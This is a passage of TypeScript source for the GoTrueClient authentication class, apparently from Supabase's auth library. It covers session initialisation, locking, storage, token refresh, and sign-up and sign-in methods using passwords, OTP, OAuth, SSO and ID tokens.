1\n\n if (this.instanceID > 0 && isBrowser()) {\n console.warn(\n 'Multiple GoTrueClient instances detected in the same browser context. It is not an error, but this should be avoided as it may produce undefined behavior when used concurrently under the same storage key.'\n )\n }\n\n const settings = { ...DEFAULT_OPTIONS, ...options }\n\n this.logDebugMessages = !!settings.debug\n if (typeof settings.debug === 'function') {\n this.logger = settings.debug\n }\n\n this.persistSession = settings.persistSession\n this.storageKey = settings.storageKey\n this.autoRefreshToken = settings.autoRefreshToken\n this.admin = new GoTrueAdminApi({\n url: settings.url,\n headers: settings.headers,\n fetch: settings.fetch,\n })\n\n this.url = settings.url\n this.headers = settings.headers\n this.fetch = resolveFetch(settings.fetch)\n this.lock = settings.lock || lockNoOp\n this.detectSessionInUrl = settings.detectSessionInUrl\n this.flowType = settings.flowType\n this.hasCustomAuthorizationHeader = settings.hasCustomAuthorizationHeader\n\n if (settings.lock) {\n this.lock = settings.lock\n } else if (isBrowser() && globalThis?.navigator?.locks) {\n this.lock = navigatorLock\n } else {\n this.lock = lockNoOp\n }\n\n this.mfa = {\n verify: this._verify.bind(this),\n enroll: this._enroll.bind(this),\n unenroll: this._unenroll.bind(this),\n challenge: this._challenge.bind(this),\n listFactors: this._listFactors.bind(this),\n challengeAndVerify: this._challengeAndVerify.bind(this),\n getAuthenticatorAssuranceLevel: this._getAuthenticatorAssuranceLevel.bind(this),\n }\n\n if (this.persistSession) {\n if (settings.storage) {\n this.storage = settings.storage\n } else {\n if (supportsLocalStorage()) {\n this.storage = localStorageAdapter\n } else {\n this.memoryStorage = {}\n this.storage = memoryLocalStorageAdapter(this.memoryStorage)\n }\n }\n } else {\n this.memoryStorage = {}\n this.storage = memoryLocalStorageAdapter(this.memoryStorage)\n }\n\n if (isBrowser() && globalThis.BroadcastChannel && this.persistSession && this.storageKey) {\n try {\n this.broadcastChannel = new globalThis.BroadcastChannel(this.storageKey)\n } catch (e: any) {\n console.error(\n 'Failed to create a new BroadcastChannel, multi-tab state changes will not be available',\n e\n )\n }\n\n this.broadcastChannel?.addEventListener('message', async (event) => {\n this._debug('received broadcast notification from other tab or client', event)\n\n await this._notifyAllSubscribers(event.data.event, event.data.session, false) // broadcast = false so we don't get an endless loop of messages\n })\n }\n\n this.initialize()\n }\n\n private _debug(...args: any[]): GoTrueClient {\n if (this.logDebugMessages) {\n this.logger(\n `GoTrueClient@${this.instanceID} (${version}) ${new Date().toISOString()}`,\n ...args\n )\n }\n\n return this\n }\n\n /**\n * Initializes the client session either from the url or from storage.\n * This method is automatically called when instantiating the client, but should also be called\n * manually when checking for an error from an auth redirect (oauth, magiclink, password recovery, etc).\n */\n async initialize(): Promise {\n if (this.initializePromise) {\n return await this.initializePromise\n }\n\n this.initializePromise = (async () => {\n return await this._acquireLock(-1, async () => {\n return await this._initialize()\n })\n })()\n\n return await this.initializePromise\n }\n\n /**\n * IMPORTANT:\n * 1. Never throw in this method, as it is called from the constructor\n * 2. Never return a session from this method as it would be cached over\n * the whole lifetime of the client\n */\n private async _initialize(): Promise {\n try {\n const isPKCEFlow = isBrowser() ? await this._isPKCEFlow() : false\n this._debug('#_initialize()', 'begin', 'is PKCE flow', isPKCEFlow)\n\n if (isPKCEFlow || (this.detectSessionInUrl && this._isImplicitGrantFlow())) {\n const { data, error } = await this._getSessionFromURL(isPKCEFlow)\n if (error) {\n this._debug('#_initialize()', 'error detecting session from URL', error)\n\n // hacky workaround to keep the existing session if there's an error returned from identity linking\n // TODO: once error codes are ready, we should match against it instead of the message\n if (\n error?.message === 'Identity is already linked' ||\n error?.message === 'Identity is already linked to another user'\n ) {\n return { error }\n }\n\n // failed login attempt via url,\n // remove old session as in verifyOtp, signUp and signInWith*\n await this._removeSession()\n\n return { error }\n }\n\n const { session, redirectType } = data\n\n this._debug(\n '#_initialize()',\n 'detected session in URL',\n session,\n 'redirect type',\n redirectType\n )\n\n await this._saveSession(session)\n\n setTimeout(async () => {\n if (redirectType === 'recovery') {\n await this._notifyAllSubscribers('PASSWORD_RECOVERY', session)\n } else {\n await this._notifyAllSubscribers('SIGNED_IN', session)\n }\n }, 0)\n\n return { error: null }\n }\n // no login attempt via callback url try to recover session from storage\n await this._recoverAndRefresh()\n return { error: null }\n } catch (error) {\n if (isAuthError(error)) {\n return { error }\n }\n\n return {\n error: new AuthUnknownError('Unexpected error during initialization', error),\n }\n } finally {\n await this._handleVisibilityChange()\n this._debug('#_initialize()', 'end')\n }\n }\n\n /**\n * Creates a new anonymous user.\n *\n * @returns A session where the is_anonymous claim in the access token JWT set to true\n */\n async signInAnonymously(credentials?: SignInAnonymouslyCredentials): Promise {\n try {\n const res = await _request(this.fetch, 'POST', `${this.url}/signup`, {\n headers: this.headers,\n body: {\n data: credentials?.options?.data ?? {},\n gotrue_meta_security: { captcha_token: credentials?.options?.captchaToken },\n },\n xform: _sessionResponse,\n })\n const { data, error } = res\n\n if (error || !data) {\n return { data: { user: null, session: null }, error: error }\n }\n const session: Session | null = data.session\n const user: User | null = data.user\n\n if (data.session) {\n await this._saveSession(data.session)\n await this._notifyAllSubscribers('SIGNED_IN', session)\n }\n\n return { data: { user, session }, error: null }\n } catch (error) {\n if (isAuthError(error)) {\n return { data: { user: null, session: null }, error }\n }\n\n throw error\n }\n }\n\n /**\n * Creates a new user.\n *\n * Be aware that if a user account exists in the system you may get back an\n * error message that attempts to hide this information from the user.\n * This method has support for PKCE via email signups. The PKCE flow cannot be used when autoconfirm is enabled.\n *\n * @returns A logged-in session if the server has \"autoconfirm\" ON\n * @returns A user if the server has \"autoconfirm\" OFF\n */\n async signUp(credentials: SignUpWithPasswordCredentials): Promise {\n try {\n let res: AuthResponse\n if ('email' in credentials) {\n const { email, password, options } = credentials\n let codeChallenge: string | null = null\n let codeChallengeMethod: string | null = null\n if (this.flowType === 'pkce') {\n ;[codeChallenge, codeChallengeMethod] = await getCodeChallengeAndMethod(\n this.storage,\n this.storageKey\n )\n }\n res = await _request(this.fetch, 'POST', `${this.url}/signup`, {\n headers: this.headers,\n redirectTo: options?.emailRedirectTo,\n body: {\n email,\n password,\n data: options?.data ?? {},\n gotrue_meta_security: { captcha_token: options?.captchaToken },\n code_challenge: codeChallenge,\n code_challenge_method: codeChallengeMethod,\n },\n xform: _sessionResponse,\n })\n } else if ('phone' in credentials) {\n const { phone, password, options } = credentials\n res = await _request(this.fetch, 'POST', `${this.url}/signup`, {\n headers: this.headers,\n body: {\n phone,\n password,\n data: options?.data ?? {},\n channel: options?.channel ?? 'sms',\n gotrue_meta_security: { captcha_token: options?.captchaToken },\n },\n xform: _sessionResponse,\n })\n } else {\n throw new AuthInvalidCredentialsError(\n 'You must provide either an email or phone number and a password'\n )\n }\n\n const { data, error } = res\n\n if (error || !data) {\n return { data: { user: null, session: null }, error: error }\n }\n\n const session: Session | null = data.session\n const user: User | null = data.user\n\n if (data.session) {\n await this._saveSession(data.session)\n await this._notifyAllSubscribers('SIGNED_IN', session)\n }\n\n return { data: { user, session }, error: null }\n } catch (error) {\n if (isAuthError(error)) {\n return { data: { user: null, session: null }, error }\n }\n\n throw error\n }\n }\n\n /**\n * Log in an existing user with an email and password or phone and password.\n *\n * Be aware that you may get back an error message that will not distinguish\n * between the cases where the account does not exist or that the\n * email/phone and password combination is wrong or that the account can only\n * be accessed via social login.\n */\n async signInWithPassword(\n credentials: SignInWithPasswordCredentials\n ): Promise {\n try {\n let res: AuthResponsePassword\n if ('email' in credentials) {\n const { email, password, options } = credentials\n res = await _request(this.fetch, 'POST', `${this.url}/token?grant_type=password`, {\n headers: this.headers,\n body: {\n email,\n password,\n gotrue_meta_security: { captcha_token: options?.captchaToken },\n },\n xform: _sessionResponsePassword,\n })\n } else if ('phone' in credentials) {\n const { phone, password, options } = credentials\n res = await _request(this.fetch, 'POST', `${this.url}/token?grant_type=password`, {\n headers: this.headers,\n body: {\n phone,\n password,\n gotrue_meta_security: { captcha_token: options?.captchaToken },\n },\n xform: _sessionResponsePassword,\n })\n } else {\n throw new AuthInvalidCredentialsError(\n 'You must provide either an email or phone number and a password'\n )\n }\n const { data, error } = res\n\n if (error) {\n return { data: { user: null, session: null }, error }\n } else if (!data || !data.session || !data.user) {\n return { data: { user: null, session: null }, error: new AuthInvalidTokenResponseError() }\n }\n if (data.session) {\n await this._saveSession(data.session)\n await this._notifyAllSubscribers('SIGNED_IN', data.session)\n }\n return {\n data: {\n user: data.user,\n session: data.session,\n ...(data.weak_password ? { weakPassword: data.weak_password } : null),\n },\n error,\n }\n } catch (error) {\n if (isAuthError(error)) {\n return { data: { user: null, session: null }, error }\n }\n throw error\n }\n }\n\n /**\n * Log in an existing user via a third-party provider.\n * This method supports the PKCE flow.\n */\n async signInWithOAuth(credentials: SignInWithOAuthCredentials): Promise {\n return await this._handleProviderSignIn(credentials.provider, {\n redirectTo: credentials.options?.redirectTo,\n scopes: credentials.options?.scopes,\n queryParams: credentials.options?.queryParams,\n skipBrowserRedirect: credentials.options?.skipBrowserRedirect,\n })\n }\n\n /**\n * Log in an existing user by exchanging an Auth Code issued during the PKCE flow.\n */\n async exchangeCodeForSession(authCode: string): Promise {\n await this.initializePromise\n\n return this._acquireLock(-1, async () => {\n return this._exchangeCodeForSession(authCode)\n })\n }\n\n private async _exchangeCodeForSession(authCode: string): Promise<\n | {\n data: { session: Session; user: User; redirectType: string | null }\n error: null\n }\n | { data: { session: null; user: null; redirectType: null }; error: AuthError }\n > {\n const storageItem = await getItemAsync(this.storage, `${this.storageKey}-code-verifier`)\n const [codeVerifier, redirectType] = ((storageItem ?? '') as string).split('/')\n const { data, error } = await _request(\n this.fetch,\n 'POST',\n `${this.url}/token?grant_type=pkce`,\n {\n headers: this.headers,\n body: {\n auth_code: authCode,\n code_verifier: codeVerifier,\n },\n xform: _sessionResponse,\n }\n )\n await removeItemAsync(this.storage, `${this.storageKey}-code-verifier`)\n if (error) {\n return { data: { user: null, session: null, redirectType: null }, error }\n } else if (!data || !data.session || !data.user) {\n return {\n data: { user: null, session: null, redirectType: null },\n error: new AuthInvalidTokenResponseError(),\n }\n }\n if (data.session) {\n await this._saveSession(data.session)\n await this._notifyAllSubscribers('SIGNED_IN', data.session)\n }\n return { data: { ...data, redirectType: redirectType ?? null }, error }\n }\n\n /**\n * Allows signing in with an OIDC ID token. The authentication provider used\n * should be enabled and configured.\n */\n async signInWithIdToken(credentials: SignInWithIdTokenCredentials): Promise {\n try {\n const { options, provider, token, access_token, nonce } = credentials\n\n const res = await _request(this.fetch, 'POST', `${this.url}/token?grant_type=id_token`, {\n headers: this.headers,\n body: {\n provider,\n id_token: token,\n access_token,\n nonce,\n gotrue_meta_security: { captcha_token: options?.captchaToken },\n },\n xform: _sessionResponse,\n })\n\n const { data, error } = res\n if (error) {\n return { data: { user: null, session: null }, error }\n } else if (!data || !data.session || !data.user) {\n return {\n data: { user: null, session: null },\n error: new AuthInvalidTokenResponseError(),\n }\n }\n if (data.session) {\n await this._saveSession(data.session)\n await this._notifyAllSubscribers('SIGNED_IN', data.session)\n }\n return { data, error }\n } catch (error) {\n if (isAuthError(error)) {\n return { data: { user: null, session: null }, error }\n }\n throw error\n }\n }\n\n /**\n * Log in a user using magiclink or a one-time password (OTP).\n *\n * If the `{{ .ConfirmationURL }}` variable is specified in the email template, a magiclink will be sent.\n * If the `{{ .Token }}` variable is specified in the email template, an OTP will be sent.\n * If you're using phone sign-ins, only an OTP will be sent. You won't be able to send a magiclink for phone sign-ins.\n *\n * Be aware that you may get back an error message that will not distinguish\n * between the cases where the account does not exist or, that the account\n * can only be accessed via social login.\n *\n * Do note that you will need to configure a Whatsapp sender on Twilio\n * if you are using phone sign in with the 'whatsapp' channel. The whatsapp\n * channel is not supported on other providers\n * at this time.\n * This method supports PKCE when an email is passed.\n */\n async signInWithOtp(credentials: SignInWithPasswordlessCredentials): Promise {\n try {\n if ('email' in credentials) {\n const { email, options } = credentials\n let codeChallenge: string | null = null\n let codeChallengeMethod: string | null = null\n if (this.flowType === 'pkce') {\n ;[codeChallenge, codeChallengeMethod] = await getCodeChallengeAndMethod(\n this.storage,\n this.storageKey\n )\n }\n const { error } = await _request(this.fetch, 'POST', `${this.url}/otp`, {\n headers: this.headers,\n body: {\n email,\n data: options?.data ?? {},\n create_user: options?.shouldCreateUser ?? true,\n gotrue_meta_security: { captcha_token: options?.captchaToken },\n code_challenge: codeChallenge,\n code_challenge_method: codeChallengeMethod,\n },\n redirectTo: options?.emailRedirectTo,\n })\n return { data: { user: null, session: null }, error }\n }\n if ('phone' in credentials) {\n const { phone, options } = credentials\n const { data, error } = await _request(this.fetch, 'POST', `${this.url}/otp`, {\n headers: this.headers,\n body: {\n phone,\n data: options?.data ?? {},\n create_user: options?.shouldCreateUser ?? true,\n gotrue_meta_security: { captcha_token: options?.captchaToken },\n channel: options?.channel ?? 'sms',\n },\n })\n return { data: { user: null, session: null, messageId: data?.message_id }, error }\n }\n throw new AuthInvalidCredentialsError('You must provide either an email or phone number.')\n } catch (error) {\n if (isAuthError(error)) {\n return { data: { user: null, session: null }, error }\n }\n\n throw error\n }\n }\n\n /**\n * Log in a user given a User supplied OTP or TokenHash received through mobile or email.\n */\n async verifyOtp(params: VerifyOtpParams): Promise {\n try {\n let redirectTo: string | undefined = undefined\n let captchaToken: string | undefined = undefined\n if ('options' in params) {\n redirectTo = params.options?.redirectTo\n captchaToken = params.options?.captchaToken\n }\n const { data, error } = await _request(this.fetch, 'POST', `${this.url}/verify`, {\n headers: this.headers,\n body: {\n ...params,\n gotrue_meta_security: { captcha_token: captchaToken },\n },\n redirectTo,\n xform: _sessionResponse,\n })\n\n if (error) {\n throw error\n }\n\n if (!data) {\n throw new Error('An error occurred on token verification.')\n }\n\n const session: Session | null = data.session\n const user: User = data.user\n\n if (session?.access_token) {\n await this._saveSession(session as Session)\n await this._notifyAllSubscribers(\n params.type == 'recovery' ? 'PASSWORD_RECOVERY' : 'SIGNED_IN',\n session\n )\n }\n\n return { data: { user, session }, error: null }\n } catch (error) {\n if (isAuthError(error)) {\n return { data: { user: null, session: null }, error }\n }\n\n throw error\n }\n }\n\n /**\n * Attempts a single-sign on using an enterprise Identity Provider. A\n * successful SSO attempt will redirect the current page to the identity\n * provider authorization page. The redirect URL is implementation and SSO\n * protocol specific.\n *\n * You can use it by providing a SSO domain. Typically you can extract this\n * domain by asking users for their email address. If this domain is\n * registered on the Auth instance the redirect will use that organization's\n * currently active SSO Identity Provider for the login.\n *\n * If you have built an organization-specific login page, you can use the\n * organization's SSO Identity Provider UUID directly instead.\n */\n async signInWithSSO(params: SignInWithSSO): Promise {\n try {\n let codeChallenge: string | null = null\n let codeChallengeMethod: string | null = null\n if (this.flowType === 'pkce') {\n ;[codeChallenge, codeChallengeMethod] = await getCodeChallengeAndMethod(\n this.storage,\n this.storageKey\n )\n }\n\n return await _request(this.fetch, 'POST', `${this.url}/sso`, {\n body: {\n ...('providerId' in params ? { provider_id: params.providerId } : null),\n ...('domain' in params ? { domain: params.domain } : null),\n redirect_to: params.options?.redirectTo ?? undefined,\n ...(params?.options?.captchaToken\n ? { gotrue_meta_security: { captcha_token: params.options.captchaToken } }\n : null),\n skip_http_redirect: true, // fetch does not handle redirects\n code_challenge: codeChallenge,\n code_challenge_method: codeChallengeMethod,\n },\n headers: this.headers,\n xform: _ssoResponse,\n })\n } catch (error) {\n if (isAuthError(error)) {\n return { data: null, error }\n }\n throw error\n }\n }\n\n /**\n * Sends a reauthentication OTP to the user's email or phone number.\n * Requires the user to be signed-in.\n */\n async reauthenticate(): Promise {\n await this.initializePromise\n\n return await this._acquireLock(-1, async () => {\n return await this._reauthenticate()\n })\n }\n\n private async _reauthenticate(): Promise {\n try {\n return await this._useSession(async (result) => {\n const {\n data: { session },\n error: sessionError,\n } = result\n if (sessionError) throw sessionError\n if (!session) throw new AuthSessionMissingError()\n\n const { error } = await _request(this.fetch, 'GET', `${this.url}/reauthenticate`, {\n headers: this.headers,\n jwt: session.access_token,\n })\n return { data: { user: null, session: null }, error }\n })\n } catch (error) {\n if (isAuthError(error)) {\n return { data: { user: null, session: null }, error }\n }\n throw error\n }\n }\n\n /**\n * Resends an existing signup confirmation email, email change email, SMS OTP or phone change OTP.\n */\n async resend(credentials: ResendParams): Promise {\n try {\n const endpoint = `${this.url}/resend`\n if ('email' in credentials) {\n const { email, type, options } = credentials\n const { error } = await _request(this.fetch, 'POST', endpoint, {\n headers: this.headers,\n body: {\n email,\n type,\n gotrue_meta_security: { captcha_token: options?.captchaToken },\n },\n redirectTo: options?.emailRedirectTo,\n })\n return { data: { user: null, session: null }, error }\n } else if ('phone' in credentials) {\n const { phone, type, options } = credentials\n const { data, error } = await _request(this.fetch, 'POST', endpoint, {\n headers: this.headers,\n body: {\n phone,\n type,\n gotrue_meta_security: { captcha_token: options?.captchaToken },\n },\n })\n return { data: { user: null, session: null, messageId: data?.message_id }, error }\n }\n throw new AuthInvalidCredentialsError(\n 'You must provide either an email or phone number and a type'\n )\n } catch (error) {\n if (isAuthError(error)) {\n return { data: { user: null, session: null }, error }\n }\n throw error\n }\n }\n\n /**\n * Returns the session, refreshing it if necessary.\n *\n * The session returned can be null if the session is not detected which can happen in the event a user is not signed-in or has logged out.\n *\n * **IMPORTANT:** This method loads values directly from the storage attached\n * to the client. If that storage is based on request cookies for example,\n * the values in it may not be authentic and therefore it's strongly advised\n * against using this method and its results in such circumstances. A warning\n * will be emitted if this is detected. Use {@link #getUser()} instead.\n */\n async getSession() {\n await this.initializePromise\n\n const result = await this._acquireLock(-1, async () => {\n return this._useSession(async (result) => {\n return result\n })\n })\n\n return result\n }\n\n /**\n * Acquires a global lock based on the storage key.\n */\n private async _acquireLock(acquireTimeout: number, fn: () => Promise): Promise {\n this._debug('#_acquireLock', 'begin', acquireTimeout)\n\n try {\n if (this.lockAcquired) {\n const last = this.pendingInLock.length\n ? this.pendingInLock[this.pendingInLock.length - 1]\n : Promise.resolve()\n\n const result = (async () => {\n await last\n return await fn()\n })()\n\n this.pendingInLock.push(\n (async () => {\n try {\n await result\n } catch (e: any) {\n // we just care if it finished\n }\n })()\n )\n\n return result\n }\n\n return await this.lock(`lock:${this.storageKey}`, acquireTimeout, async () => {\n this._debug('#_acquireLock', 'lock acquired for storage key', this.storageKey)\n\n try {\n this.lockAcquired = true\n\n const result = fn()\n\n this.pendingInLock.push(\n (async () => {\n try {\n await result\n } catch (e: any) {\n // we just care if it finished\n }\n })()\n )\n\n await result\n\n // keep draining the queue until there's nothing to wait on\n while (this.pendingInLock.length) {\n const waitOn = [...this.pendingInLock]\n\n await Promise.all(waitOn)\n\n this.pendingInLock.splice(0, waitOn.length)\n }\n\n return await result\n } finally {\n this._debug('#_acquireLock', 'lock released for storage key', this.storageKey)\n\n this.lockAcquired = false\n }\n })\n } finally {\n this._debug('#_acquireLock', 'end')\n }\n }\n\n /**\n * Use instead of {@link #getSession} inside the library. It is\n * semantically usually what you want, as getting a session involves some\n * processing afterwards that requires only one client operating on the\n * session at once across multiple tabs or processes.\n */\n private async _useSession(\n fn: (\n result:\n | {\n data: {\n session: Session\n }\n error: null\n }\n | {\n data: {\n session: null\n }\n error: AuthError\n }\n | {\n data: {\n session: null\n }\n error: null\n }\n ) => Promise\n ): Promise {\n this._debug('#_useSession', 'begin')\n\n try {\n // the use of __loadSession here is the only correct use of the function!\n const result = await this.__loadSession()\n\n return await fn(result)\n } finally {\n this._debug('#_useSession', 'end')\n }\n }\n\n /**\n * NEVER USE DIRECTLY!\n *\n * Always use {@link #_useSession}.\n */\n private async __loadSession(): Promise<\n | {\n data: {\n session: Session\n }\n error: null\n }\n | {\n data: {\n session: null\n }\n error: AuthError\n }\n | {\n data: {\n session: null\n }\n error: null\n }\n > {\n this._debug('#__loadSession()', 'begin')\n\n if (!this.lockAcquired) {\n this._debug('#__loadSession()', 'used outside of an acquired lock!', new Error().stack)\n }\n\n try {\n let currentSession: Session | null = null\n\n const maybeSession = await getItemAsync(this.storage, this.storageKey)\n\n this._debug('#getSession()', 'session from storage', maybeSession)\n\n if (maybeSession !== null) {\n if (this._isValidSession(maybeSession)) {\n currentSession = maybeSession\n } else {\n this._debug('#getSession()', 'session from storage is not valid')\n await this._removeSession()\n }\n }\n\n if (!currentSession) {\n return { data: { session: null }, error: null }\n }\n\n const hasExpired = currentSession.expires_at\n ? currentSession.expires_at <= Date.now() / 1000\n : false\n\n this._debug(\n '#__loadSession()',\n `session has${hasExpired ? '' : ' not'} expired`,\n 'expires_at',\n currentSession.expires_at\n )\n\n if (!hasExpired) {\n if (this.storage.isServer) {\n let suppressWarning = this.suppressGetSessionWarning\n const proxySession: Session = new Proxy(currentSession, {\n get: (target: any, prop: string, receiver: any) => {\n if (!suppressWarning && prop === 'user') {\n // only show warning when the user object is being accessed from the server\n console.warn(\n 'Using the user object as returned from supabase.auth.getSession() or from some supabase.auth.onAuthStateChange() events could be insecure! This value comes directly from the storage medium (usually cookies on the server) and many not be authentic. Use supabase.auth.getUser() instead which authenticates the data by contacting the Supabase Auth server.'\n )\n suppressWarning = true // keeps this proxy instance from logging additional warnings\n this.suppressGetSessionWarning = true // keeps this client's future proxy instances from warning\n }\n return Reflect.get(target, prop, receiver)\n },\n })\n currentSession = proxySession\n }\n\n return { data: { session: currentSession }, error: null }\n }\n\n const { session, error } = await this._callRefreshToken(currentSession.refresh_token)\n if (error) {\n return { data: { session: null }, error }\n }\n\n return { data: { session }, error: null }\n } finally {\n this._debug('#__loadSession()', 'end')\n }\n }\n\n /**\n * Gets the current user details if there is an existing session. This method\n * performs a network request to the Supabase Auth server, so the returned\n * value is authentic and can be used to base authorization rules on.\n *\n * @param jwt Takes in an optional access token JWT. If no JWT is provided, the JWT from the current session is used.\n */\n async getUser(jwt?: string): Promise {\n if (jwt) {\n return await this._getUser(jwt)\n }\n\n await this.initializePromise\n\n const result = await this._acquireLock(-1, async () => {\n return await this._getUser()\n })\n\n return result\n }\n\n private async _getUser(jwt?: string): Promise {\n try {\n if (jwt) {\n return await _request(this.fetch, 'GET', `${this.url}/user`, {\n headers: this.headers,\n jwt: jwt,\n xform: _userResponse,\n })\n }\n\n return await this._useSession(async (result) => {\n const { data, error } = result\n if (error) {\n throw error\n }\n\n // returns an error if there is no access_token or custom authorization header\n if (!data.session?.access_token && !this.hasCustomAuthorizationHeader) {\n return { data: { user: null }, error: new AuthSessionMissingError() }\n }\n\n return await _request(this.fetch, 'GET', `${this.url}/user`, {\n headers: this.headers,\n jwt: data.session?.access_token ?? undefined,\n xform: _userResponse,\n })\n })\n } catch (error) {\n if (isAuthError(error)) {\n return { data: { user: null }, error }\n }\n\n throw error\n }\n }\n\n /**\n * Updates user data for a logged in user.\n */\n async updateUser(\n attributes: UserAttributes,\n options: {\n emailRedirectTo?: string | undefined\n } = {}\n ): Promise {\n await this.initializePromise\n\n return await this._acquireLock(-1, async () => {\n return await this._updateUser(attributes, options)\n })\n }\n\n protected async _updateUser(\n attributes: UserAttributes,\n options: {\n emailRedirectTo?: string | undefined\n } = {}\n ): Promise {\n try {\n return await this._useSession(async (result) => {\n const { data: sessionData, error: sessionError } = result\n if (sessionError) {\n throw sessionError\n }\n if (!sessionData.session) {\n throw new AuthSessionMissingError()\n }\n const session: Session = sessionData.session\n let codeChallenge: string | null = null\n let codeChallengeMethod: string | null = null\n if (this.flowType === 'pkce' && attributes.email != null) {\n ;[codeChallenge, codeChallengeMethod] = await getCodeChallengeAndMethod(\n this.storage,\n this.storageKey\n )\n }\n\n const { data, error: userError } = await _request(this.fetch, 'PUT', `${this.url}/user`, {\n headers: this.headers,\n redirectTo: options?.emailRedirectTo,\n body: {\n ...attributes,\n code_challenge: codeChallenge,\n code_challenge_method: codeChallengeMethod,\n },\n jwt: session.access_token,\n xform: _userResponse,\n })\n if (userError) throw userError\n session.user = data.user as User\n await this._saveSession(session)\n await this._notifyAllSubscribers('USER_UPDATED', session)\n return { data: { user: session.user }, error: null }\n })\n } catch (error) {\n if (isAuthError(error)) {\n return { data: { user: null }, error }\n }\n\n throw error\n }\n }\n\n /**\n * Decodes a JWT (without performing any validation).\n */\n private _decodeJWT(jwt: string): {\n exp?: number\n aal?: AuthenticatorAssuranceLevels | null\n amr?: AMREntry[] | null\n } {\n return decodeJWTPayload(jwt)\n }\n\n /**\n * Sets the session data from the current session. If the current session is expired, setSession will take care of refreshing it to obtain a new session.\n * If the refresh token or access token in the current session is invalid, an error will be thrown.\n * @param currentSession The current session that minimally contains an access token and refresh token.\n */\n async setSession(currentSession: {\n access_token: string\n refresh_token: string\n }): Promise {\n await this.initializePromise\n\n return await this._acquireLock(-1, async () => {\n return await this._setSession(currentSession)\n })\n }\n\n protected async _setSession(currentSession: {\n access_token: string\n refresh_token: string\n }): Promise {\n try {\n if (!currentSession.access_token || !currentSession.refresh_token) {\n throw new AuthSessionMissingError()\n }\n\n const timeNow = Date.now() / 1000\n let expiresAt = timeNow\n let hasExpired = true\n let session: Session | null = null\n const payload = decodeJWTPayload(currentSession.access_token)\n if (payload.exp) {\n expiresAt = payload.exp\n hasExpired = expiresAt <= timeNow\n }\n\n if (hasExpired) {\n const { session: refreshedSession, error } = await this._callRefreshToken(\n currentSession.refresh_token\n )\n if (error) {\n return { data: { user: null, session: null }, error: error }\n }\n\n if (!refreshedSession) {\n return { data: { user: null, session: null }, error: null }\n }\n session = refreshedSession\n } else {\n const { data, error } = await this._getUser(currentSession.access_token)\n if (error) {\n throw error\n }\n session = {\n access_token: currentSession.access_token,\n refresh_token: currentSession.refresh_token,\n user: data.user,\n token_type: 'bearer',\n expires_in: expiresAt - timeNow,\n expires_at: expiresAt,\n }\n await this._saveSession(session)\n await this._notifyAllSubscribers('SIGNED_IN', session)\n }\n\n return { data: { user: session.user, session }, error: null }\n } catch (error) {\n if (isAuthError(error)) {\n return { data: { session: null, user: null }, error }\n }\n\n throw error\n }\n }\n\n /**\n * Returns a new session, regardless of expiry status.\n * Takes in an optional current session. If not passed in, then refreshSession() will attempt to retrieve it from getSession().\n * If the current session's refresh token is invalid, an error will be thrown.\n * @param currentSession The current session. If passed in, it must contain a refresh token.\n */\n async refreshSession(currentSession?: { refresh_token: string }): Promise {\n await this.initializePromise\n\n return await this._acquireLock(-1, async () => {\n return await this._refreshSession(currentSession)\n })\n }\n\n protected async _refreshSession(currentSession?: {\n refresh_token: string\n }): Promise {\n try {\n return await this._useSession(async (result) => {\n if (!currentSession) {\n const { data, error } = result\n if (error) {\n throw error\n }\n\n currentSession = data.session ?? undefined\n }\n\n if (!currentSession?.refresh_token) {\n throw new AuthSessionMissingError()\n }\n\n const { session, error } = await this._callRefreshToken(currentSession.refresh_token)\n if (error) {\n return { data: { user: null, session: null }, error: error }\n }\n\n if (!session) {\n return { data: { user: null, session: null }, error: null }\n }\n\n return { data: { user: session.user, session }, error: null }\n })\n } catch (error) {\n if (isAuthError(error)) {\n return { data: { user: null, session: null }, error }\n }\n\n throw error\n }\n }\n\n /**\n * Gets the session data from a URL string\n */\n private async _getSessionFromURL(isPKCEFlow: boolean): Promise<\n | {\n data: { session: Session; redirectType: string | null }\n error: null\n }\n | { data: { session: null; redirectType: null }; error: AuthError }\n > {\n try {\n if (!isBrowser()) throw new AuthImplicitGrantRedirectError('No browser detected.')\n if (this.flowType === 'implicit' && !this._isImplicitGrantFlow()) {\n throw new AuthImplicitGrantRedirectError('Not a valid implicit grant flow url.')\n } else if (this.flowType == 'pkce' && !isPKCEFlow) {\n throw new AuthPKCEGrantCodeExchangeError('Not a valid PKCE flow url.')\n }\n\n const params = parseParametersFromURL(window.location.href)\n\n if (isPKCEFlow) {\n if (!params.code) throw new AuthPKCEGrantCodeExchangeError('No code detected.')\n const { data, error } = await this._exchangeCodeForSession(params.code)\n if (error) throw error\n\n const url = new URL(window.location.href)\n url.searchParams.delete('code')\n\n window.history.replaceState(window.history.state, '', url.toString())\n\n return { data: { session: data.session, redirectType: null }, error: null }\n }\n\n if (params.error || params.error_description || params.error_code) {\n throw new AuthImplicitGrantRedirectError(\n params.error_description || 'Error in URL with unspecified error_description',\n {\n error: params.error || 'unspecified_error',\n code: params.error_code || 'unspecified_code',\n }\n )\n }\n\n const {\n provider_token,\n provider_refresh_token,\n access_token,\n refresh_token,\n expires_in,\n expires_at,\n token_type,\n } = params\n\n if (!access_token || !expires_in || !refresh_token || !token_type) {\n throw new AuthImplicitGrantRedirectError('No session defined in URL')\n }\n\n const timeNow = Math.round(Date.now() / 1000)\n const expiresIn = parseInt(expires_in)\n let expiresAt = timeNow + expiresIn\n\n if (expires_at) {\n expiresAt = parseInt(expires_at)\n }\n\n const actuallyExpiresIn = expiresAt - timeNow\n if (actuallyExpiresIn * 1000 <= AUTO_REFRESH_TICK_DURATION) {\n console.warn(\n `@supabase/gotrue-js: Session as retrieved from URL expires in ${actuallyExpiresIn}s, should have been closer to ${expiresIn}s`\n )\n }\n\n const issuedAt = expiresAt - expiresIn\n if (timeNow - issuedAt >= 120) {\n console.warn(\n '@supabase/gotrue-js: Session as retrieved from URL was issued over 120s ago, URL could be stale',\n issuedAt,\n expiresAt,\n timeNow\n )\n } else if (timeNow - issuedAt < 0) {\n console.warn(\n '@supabase/gotrue-js: Session as retrieved from URL was issued in the future? Check the device clok for skew',\n issuedAt,\n expiresAt,\n timeNow\n )\n }\n\n const { data, error } = await this._getUser(access_token)\n if (error) throw error\n\n const session: Session = {\n provider_token,\n provider_refresh_token,\n access_token,\n expires_in: expiresIn,\n expires_at: expiresAt,\n refresh_token,\n token_type,\n user: data.user,\n }\n\n // Remove tokens from URL\n window.location.hash = ''\n this._debug('#_getSessionFromURL()', 'clearing window.location.hash')\n\n return { data: { session, redirectType: params.type }, error: null }\n } catch (error) {\n if (isAuthError(error)) {\n return { data: { session: null, redirectType: null }, error }\n 